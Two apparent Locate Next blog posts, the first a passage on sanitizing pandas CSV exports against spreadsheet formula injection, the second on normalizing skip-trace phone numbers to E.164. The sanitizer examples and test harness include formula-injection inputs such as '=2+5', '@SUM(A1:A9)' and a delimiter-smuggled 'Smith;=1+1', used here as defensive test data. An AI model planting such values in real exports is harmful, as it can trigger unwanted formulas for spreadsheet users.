    print("original:", leads.loc[1, "name"])

name ['Avery Quinn', "'=2+5", "'@SUM(A1:A9)"]
phone ['+13125550147', "'+1+1", '312-555-0188']
notes ["'-5 days since contact", "'\tleading tab", '-42']
balance [-12.5, 0.0, 40.25]
original: =2+5

A few details worth noting:

fullmatch is used instead of match with $. In Python, $ also matches just before a trailing newline, so "-5\n" would slip through a $ check.
Non-string values (None, NaN, numbers inside object columns) pass through unchanged.
The phone allowlist is checked against the original column names, before headers are sanitized.
The function returns a copy. Your source DataFrame and your database stay untouched.
"-5 days since contact" gets prefixed. It's harmless, but it starts with -, and the function can't judge intent. That is the cost of a conservative rule.

Will sanitizing break my dialer or CRM import?

It can, if you send the wrong file. The prefix is a real character in the output. In Excel, an apostrophe from a CSV is usually visible in the cell, and if the file is loaded into another system, the ' comes along as part of the value.

Send dialer, texting and CRM uploads the raw, normalized file, because a leading apostrophe on a phone or name field can cause rows to be rejected or stored with the quote attached.

Sanitize at the export boundary, for files meant to be opened in a spreadsheet by a VA, a teammate or a mail house reviewing records. Don't sanitize the stored data.
Keep machine-to-machine files raw (dialer and CRM uploads, database loads) unless the receiving system expects sanitized values.
Sanitizing doesn't replace validation. It won't fix a malformed phone number or protect HTML, SQL or shell contexts. Validate and normalize data when it comes in, then sanitize spreadsheet exports as a separate layer.

pandas to_csv settings for Excel: QUOTE_ALL and utf-8-sig

export_for_excel in safe_export.py applies two to_csv settings that make the file safer and more predictable in Excel:

quoting=csv.QUOTE_ALL wraps every field in double quotes, so addresses with commas and notes with line breaks stay in their own cells. It also closes a delimiter gap. pandas' default minimal quoting only quotes fields containing a comma, a quote or a line break. In locales where Excel's list separator is a semicolon, double-clicking a .csv splits fields on ;, so an unquoted Smith;=1+1 becomes two cells, and the second is a formula your sanitizer never saw. Quoting alone does not stop formula evaluation, so it only helps alongside the prefix.
encoding="utf-8-sig" writes a UTF-8 byte order mark, which Excel uses to detect UTF-8, so names like "JosÃ©" don't come out garbled.

from safe_export import sanitize_cell, sanitize_dataframe, export_for_excel

import tempfile
from pathlib import Path

import pandas as pd

leads = pd.DataFrame({
    "name": ["JosÃ© Rivera", "=2+5"],
    "phone": ["+13125550147", "+16175550192"],
    "address": ["42 Birch Ln, Springfield", "7 Elm St, Riverton"],
    "balance": [-12.5, 40.25],
})

with tempfile.TemporaryDirectory() as tmp:
    path = Path(tmp) / "leads_export.csv"
    export_for_excel(leads, path, phone_columns=("phone",))
    print(path.read_bytes()[:3])
    for line in path.read_text(encoding="utf-8-sig").splitlines():
        print(line)
    back = pd.read_csv(path, encoding="utf-8-sig", dtype=str)
    print(back.columns.tolist())
    print(back.loc[1, "name"])

b'\xef\xbb\xbf'
"name","phone","address","balance"
"JosÃ© Rivera","+13125550147","42 Birch Ln, Springfield","-12.5"
"'=2+5","+16175550192","7 Elm St, Riverton","40.25"
['name', 'phone', 'address', 'balance']
'=2+5

Reading the file back with encoding="utf-8-sig" strips the byte order mark, so the first column is named name and not \ufeffname.

A practical note on phones: Excel may still convert +13125550147 to a number on double-click, which drops the + from the display. That's a display problem, not an injection problem. To see phone numbers exactly as written, import with Data > From Text/CSV and set the phone column to Text.

A CSV injection test harness that asserts results

Sanitizers tend to break quietly when someone "simplifies" a regex or adds a column. A small assertion-based harness catches that. It runs with plain python, and you can move the cases into pytest later.

from safe_export import sanitize_cell, sanitize_dataframe, export_for_excel

import csv
import tempfile
from pathlib import Path

import pandas as pd

CELL_CASES = [
    ("=2+5", False, "'=2+5"),
    ("+1+1", False, "'+1+1"),
    ("-2+3", False, "'-2+3"),
    ("@SUM(A1:A9)", False, "'@SUM(A1:A9)"),
    ("\t=2+5", False, "'\t=2+5"),
    ("\r=2+5", False, "'\r=2+5"),
    ("Avery Quinn", False, "Avery Quinn"),
    ("-42", False, "-42"),
    ("-12.50", False, "-12.50"),
    ("-5\n", False, "'-5\n"),
    ("+13125550147", True, "+13125550147"),
    ("+13125550147", False, "'+13125550147"),
    ("+1+1", True, "'+1+1"),
    ("", False, ""),
    (None, False, None),
]

checks = 0
for value, allow, expected in CELL_CASES:
    result = sanitize_cell(value, allow_e164=allow)
    assert result == expected, f"{value!r}: expected {expected!r}, got {result!r}"
    checks += 1

leads = pd.DataFrame({
    "name": ["Avery Quinn", "=2+5"],
    "phone": ["+13125550147", "+1+1"],
    "balance": [-12.5, 40.25],
})
safe = sanitize_dataframe(leads, phone_columns=("phone",))

assert leads.loc[1, "name"] == "=2+5"
assert safe.loc[1, "name"] == "'=2+5"
assert safe.loc[0, "phone"] == "+13125550147"
assert safe.loc[1, "phone"] == "'+1+1"
assert safe["balance"].tolist() == [-12.5, 40.25]
assert pd.api.types.is_float_dtype(safe["balance"])
checks += 6

hostile = pd.DataFrame({"=1+1": ["Smith;=1+1"]})
safe_hostile = sanitize_dataframe(hostile)
assert safe_hostile.columns.tolist() == ["'=1+1"]
assert safe_hostile.loc[0, "'=1+1"] == "Smith;=1+1"
checks += 2

with tempfile.TemporaryDirectory() as tmp:
    path = Path(tmp) / "leads_export.csv"
    export_for_excel(leads, path, phone_columns=("phone",))
    raw = path.read_bytes()
    assert raw.startswith(b"\xef\xbb\xbf")
    with open(path, newline="", encoding="utf-8-sig") as handle:
        rows = list(csv.reader(handle))
    assert rows[0] == ["name", "phone", "balance"]
    assert rows[2] == ["'=2+5", "'+1+1", "40.25"]
    for line in raw.decode("utf-8-sig").splitlines():
        assert line.startswith('"') and line.endswith('"')
    hostile_path = Path(tmp) / "hostile_export.csv"
    export_for_excel(hostile, hostile_path)
    assert '"Smith;=1+1"' in hostile_path.read_text(encoding="utf-8-sig")
    checks += 5

print(f"All {checks} checks passed")

All 28 checks passed

The Smith;=1+1 case shows why the prefix and the quoting work as a pair. The value doesn't start with a dangerous character, so the sanitizer leaves it alone, and only QUOTE_ALL keeps a semicolon-delimited Excel from splitting it into a formula cell.

When you find a new edge case in a real list export, add a row to CELL_CASES. The list becomes a record of what your team has decided is safe.

Checklist for safe CSV export from pandas

[ ] Prefix cells starting with =, +, -, @, tab or carriage return with a single quote, following OWASP guidance.
[ ] Sanitize column headers too, not just values.
[ ] Skip numeric dtype columns so negative numbers stay numeric.
[ ] Leave strictly numeric strings alone, and check them with fullmatch.
[ ] Allowlist phone columns only after normalizing them, and accept only values that fully match E.164.
[ ] Sanitize a copy at export time, not the source data.
[ ] Write with quoting=csv.QUOTE_ALL and encoding="utf-8-sig" for Excel users.
[ ] Remember that quoting alone doesn't stop formulas.
[ ] Send dialer, texting and CRM uploads the raw, normalized file.
[ ] Check TCPA, DNC and state rules with your counsel before any list reaches a dialer or texting tool.
[ ] Validate and normalize data on input. Sanitizing protects spreadsheet users; it doesn't replace validation.
[ ] Keep an assertion harness and run it in CI.

Published by Locate Next (locatenext.com).

How to clean skip trace phone numbers to E.164 before a CRM or dialer import (Python and Excel)

Locate Next — Thu, 22 Oct 2026 19:15:08 +0000

All owners, addresses and phone numbers below are fictional. Phone numbers use the 555-0100 to 555-0199 range, which is reserved for fictional use.

Why normalize before the import

Skip trace results, driving-for-dollars sheets, and absentee owner or tax-delinquent lists (all fictional in the examples below) arrive with phone columns in every shape before they go into your dialer, texting tool, or REI CRM: (201) 555-0101, 201.555.0102, 1-201-555-0103, 201-555-0105 x12. Most tools match, deduplicate and dial more reliably when every number uses one format. E.164 is the usual choice: a plus sign, the country code and the national number with no spaces, so +12015550101.

If you normalize inside the CRM after the import, you often end up with duplicate owner records and numbers that were silently rejected. If you do it in the file first, you can see every row that did not convert and decide what to do with it.

There are three ways to do it: Python with the phonenumbers library (recommended), a Python fallback for US numbers that needs no extra packages, and an Excel formula for lists that never leave a spreadsheet.

The rules we want

Output +1 plus 10 digits for valid US numbers
Keep extensions in their own column, never glued to the number
Never overwrite the original value: add new columns next to it
Give every number a status (ok, blank, invalid and so on) so nothing disappears quietly
Keep each phone number only once, even when it shows up on several owner records

Option 1: Python with phonenumbers

phonenumbers is the Python port of Google's libphonenumber. It knows country codes, valid number ranges and extension formats.

pip install phonenumbers pandas

import re

import phonenumbers
from phonenumbers import NumberParseException, PhoneNumberFormat

# Values like "2.02E+09" mean a spreadsheet already damaged the number.
SCI_NOTATION = re.compile(r"^\s*\d+(\.\d+)?[eE]\+?\d+\s*$")


def normalize_phone(raw, default_region="US"):
    """Return (e164, extension, status) for one raw phone value."""
    if raw is None:
        return None, None, "blank"
    text = str(raw).strip()
    if not text:
        return None, None, "blank"
    if SCI_NOTATION.match(text):
        return None, None, "scientific_notation"
    try:
        number = phonenumbers.parse(text, default_region)
    except NumberParseException:
        return None, None, "unparseable"
    if not phonenumbers.is_valid_number(number):
        return None, None, "invalid"
    e164 = phonenumbers.format_number(number, PhoneNumberFormat.E164)
    return e164, number.extension, "ok"

default_region="US" tells the parser how to read numbers written without a country code. Numbers that start with + keep their own country code, so +44 20 7946 0958 stays a UK number instead of being forced into +1.

is_valid_number checks the number against known ranges. That is stricter than is_possible_number, which only checks length. Keep phonenumbers updated so it recognizes newly assigned area codes, and look at the invalid rows before deleting anything.

Applying it to an owner list with pandas

A typical skip traced owner list (fictional) looks like this:

owner_name,property_address,phone1,phone2,phone3
Dana Example,12 Elm St,(201) 555-0101,201.555.0102,
Sam Sample,48 Oak Ave,1-201-555-0103,201-555-0105 x12,(201) 555-0101

Reshape it to one row per owner per phone column, then normalize every number:

import re

import pandas as pd

# dtype=str keeps "2015550101" from becoming 2015550101.0
# keep_default_na=False keeps empty cells as "" instead of NaN
df = pd.read_csv("owner_list.csv", dtype=str, keep_default_na=False)
df["owner_row"] = df.index
phone_cols = [c for c in df.columns if re.fullmatch(r"phone\d+", c)]

phones = df.melt(
    id_vars=["owner_row", "owner_name", "property_address"],
    value_vars=phone_cols,
    var_name="source_column",
    value_name="raw_phone",
)
results = phones["raw_phone"].map(normalize_phone)
phones["phone_e164"] = results.map(lambda r: r[0])
phones["phone_ext"] = results.map(lambda r: r[1])
phones["phone_status"] = results.map(lambda r: r[2])

print(phones["phone_status"].value_counts())

review = phones[~phones["phone_status"].isin(["ok", "blank"])]
review.to_csv("phones_to_review.csv", index=False)

The original file is untouched, and source_column tells you which column each number came from. The review file holds every number that did not convert, so someone can fix the source instead of guessing.

Multiple phones per owner

Skip trace results often repeat a number in phone1 and phone3. They can also attach the same number to two owners, such as spouses, an LLC and its manager, or one owner with several properties. Drop the repeats after normalizing, because (201) 555-0101 and 201.555.0101 only match once both are +12015550101:

ok = phones[phones["phone_status"] == "ok"]

# Same number twice on one owner record
ok = ok.drop_duplicates(subset=["owner_row", "phone_e164"])

# Same number on more than one owner record: keep the first, set the rest aside
dupes = ok[ok.duplicated(subset=["phone_e164"], keep="first")]
ok = ok.drop(dupes.index)

dupes.to_csv("phones_duplicate_across_owners.csv", index=False)
ok.to_csv("owner_phones_clean.csv", index=False)

In the fictional sample, (201) 555-0101 appears for both owners. It stays on Dana Example, and the copy on Sam Sample goes to the duplicates file. Check that file before importing: sometimes the shared number is correct for both records, and you want to link them in your CRM rather than lose one.

Option 2: a fallback for US numbers with no extra packages

If you cannot install packages, use this function. It checks the format of North American Numbering Plan numbers using only the Python standard library. It returns the same values as normalize_phone, so you can use it in the pandas code above.

import re

SCI_NOTATION = re.compile(r"^\s*\d+(\.\d+)?[eE]\+?\d+\s*$")
EXT_PATTERN = re.compile(r"\s*(?:ext\.?|extension|x|#)\s*(\d{1,6})\s*$", re.IGNORECASE)


def normalize_us_phone(raw):
    """Format check for US (NANP) numbers. Return (e164, extension, status)."""
    if raw is None:
        return None, None, "blank"
    text = str(raw).strip()
    if not text:
        return None, None, "blank"
    if SCI_NOTATION.match(text):
        return None, None, "scientific_notation"

    extension = None
    match = EXT_PATTERN.search(text)
    if match:
        extension = match.group(1)
        text = text[: match.start()]

    digits = re.sub(r"\D", "", text)
    if len(digits) == 11 and digits.startswith("1"):
        digits = digits[1:]
    if len(digits) != 10:
        return None, extension, "wrong_length"
    # Area codes and exchange codes cannot start with 0 or 1.
    if digits[0] in "01" or digits[3] in "01":
        return None, extension, "not_nanp_format"
    return "+1" + digits, extension, "ok"

What it returns for some typical inputs:

Input	e164	ext	status
`(201) 555-0101`	`+12015550101`		ok
`1-201-555-0103`	`+12015550103`		ok
`201-555-0105 x12`	`+12015550105`	`12`	ok
`2.02E+09`			scientific_notation
`2015550108.0`			wrong_length
`555-0109`			wrong_length
`012-555-0110`			not_nanp_format

Limits to know about:

It checks format, not whether the number is assigned. phonenumbers is stricter.
+1 covers the whole North American Numbering Plan, including Canada and several Caribbean countries, so +1 alone does not prove a number is in the US.
International numbers come back as wrong_length. Use phonenumbers for mixed lists.

Option 3: Excel

Step 1: Open the file with the phone columns as Text

Do not double-click the CSV. In Excel, use Data > From Text/CSV, choose Transform Data, set each phone column's type to Text, then load. In older versions, the Text Import Wizard has a Column data format: Text option on its last step.

Step 2: Add a helper column (Excel 365 and Excel 2021 or later)

With the raw phone in column A, put this in B2 and fill down. Repeat for each phone column.

=IF(TRIM(A2)="","",LET(
  raw, TRIM(A2),
  low, LOWER(raw),
  cut, MIN(IFERROR(SEARCH("x",low),LEN(low)+1), IFERROR(SEARCH("#",low),LEN(low)+1)),
  base, LEFT(raw,cut-1),
  chars, MID(base,SEQUENCE(LEN(base)),1),
  digits, TEXTJOIN("",TRUE,IF(ISNUMBER(--chars),chars,"")),
  ten, IF(AND(LEN(digits)=11,LEFT(digits,1)="1"),RIGHT(digits,10),digits),
  IF(AND(LEN(ten)=10,LEFT(ten,1)>="2",MID(ten,4,1)>="2"),"+1"&ten,"CHECK")
))

How it works:

cut finds the first x (which also catches ext and extension) or #. Everything from there on is treated as the extension
chars splits the remaining text into single characters, and digits keeps only the numbers
ten drops a leading 1 country code
The last line applies the same area code and exchange check as the Python fallback and returns CHECK for anything that fails

To pull the extension into its own column (C2):

=IF(TRIM(A2)="","",LET(
  low, LOWER(TRIM(A2)),
  cut, MIN(IFERROR(SEARCH("x",low),LEN(low)+1), IFERROR(SEARCH("#",low),LEN(low)+1)),
  tail, MID(low,cut,LEN(low)),
  IF(tail="","",LET(
    chars, MID(tail,SEQUENCE(LEN(tail)),1),
    TEXTJOIN("",TRUE,IF(ISNUMBER(--chars),chars,""))
  ))
))

Step 2 for older Excel versions

Without LET and SEQUENCE, strip the common punctuation with nested SUBSTITUTE calls:

B2: =SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(SUBSTITUTE(TRIM(A2)," ",""),"-",""),"(",""),")",""),".",""),"+","")
C2: =IF(AND(LEN(B2)=11,LEFT(B2,1)="1"),RIGHT(B2,10),B2)
D2: =IF(AND(LEN(C2)=10,ISNUMBER(--C2),LEFT(C2,1)>="2",MID(C2,4,1)>="2"),"+1"&C2,"CHECK")

This version does not handle extensions, so rows with x or ext show CHECK and go to the review pile.

Step 3: Freeze the values, review, and remove duplicates

Copy the result columns and use Paste Special > Values. Filter for CHECK and fix those rows at the source. To catch repeats, stack the normalized phone columns into one column and use Data > Remove Duplicates, or highlight them with conditional formatting for duplicate values. Test the formulas on a few sample rows in your own version of Excel before running them on a full list.

Pitfalls that cause most bad imports

Scientific notation

In a narrow General column, or with numbers longer than 11 digits (for example, numbers with an extension or a stray country code glued on), Excel can display and then save values like 2.02E+09. If the file is saved as CSV in that state, the original digits can be lost, and you cannot recover them from the file. Go back to the source export or skip trace results instead. Both Python functions flag this pattern instead of guessing.

The trailing ".0"

If you read a CSV in pandas without dtype=str, a blank cell can force the column to float and turn 2015550101 into 2015550101.0. The same mistake damages ZIP codes and parcel IDs that start with zero. Read everything as text and convert only what you mean to convert.

Extensions glued to the number

201-555-0105 x12 stripped to digits becomes 201555010512. That 12-digit number is not valid, but at a glance it does not look obviously wrong either. Split the extension off before removing non-digits, and keep it in its own column.

Excel dropping the plus sign

If you double-click a normalized CSV, Excel may read +12015550101 as 12015550101 and drop the +. Check the result in your CRM or dialer's import preview, and confirm whether it stores the value exactly or adds a leading apostrophe or space.

A quick pre-import checklist

[ ] Original phone columns kept unchanged
[ ] e164, extension and status added for every phone column
[ ] Every non-ok number reviewed or fixed at the source
[ ] Cells holding two numbers split into separate phone columns
[ ] Duplicates removed within each owner and across the file
[ ] File opened with phone and ID columns as Text, never double-clicked
[ ] Small test import checked in the CRM or dialer before the full import

A note on calling and texting

Normalizing a number does not tell you whether you may call or text it. Do Not Call registries, TCPA consent requirements and state rules all apply separately. They cover cold calling, texting campaigns and dialers alike. Check the current FTC and FCC guidance, and check the rules that apply to you with your counsel. This post covers data formatting only and is not legal advice.

Published by Locate Next (locatenext.com).